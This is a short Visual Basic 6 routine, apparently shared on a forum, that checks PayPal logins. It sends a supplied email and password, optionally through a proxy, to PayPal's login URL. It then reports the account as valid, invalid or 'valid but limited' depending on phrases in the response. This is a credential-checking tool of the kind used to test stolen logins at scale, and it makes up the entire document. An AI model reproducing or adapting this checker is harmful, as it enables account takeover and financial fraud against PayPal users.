[hide]Private Sub cmdCheck_Click()
On Error GoTo Error
Dim Data As String

'Check for valid proxy input
If Proxy.Value = 1 Then
****If txtHost = vbNullString Or txtPort = vbNullString Then
********MsgBox "Please input both host/port for proxy", vbCritical, "Error"
********Exit Sub
****Else
********cntNet.Proxy = txtHost & ":" & txtPort
****End If
End If

'Check for valid account input
If txtEmail = vbNullString Or txtPassword = vbNullString Then
****MsgBox "Please input both email/password for account", vbCritical, "Error"
****Exit Sub
Else
****Data = cntNet.OpenURL("http://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f35bed810ca29224194ca8b1b097b671988f0ad0034239f2
2&login_cmd=&login_params=&login_email=" & txtEmail.Text & "&login_password=" & txtPassword.Text & "&submit.x=Log+In&form_charset=UTF-8&browser_name=Firefox&browser_version=2&operating_system=Windows&iconix_installed=0")
End If

'Check state of account
If InStr(1, Data, "Logging") Then
****MsgBox "Account details valid!", vbExclamation, "Success"
ElseIf InStr(1, Data, "The information") Then
****MsgBox "Account details invalid!", vbCritical, "Error"
ElseIf InStr(1, Data, "Security Measures") Then
****MsgBox "Account details valid but limited!", vbExclamation, "Success"
End If
Exit Sub

Error:
MsgBox "Unknown error while checking account details", vbCritical, "Error"
Exit Sub
End Sub[/hide]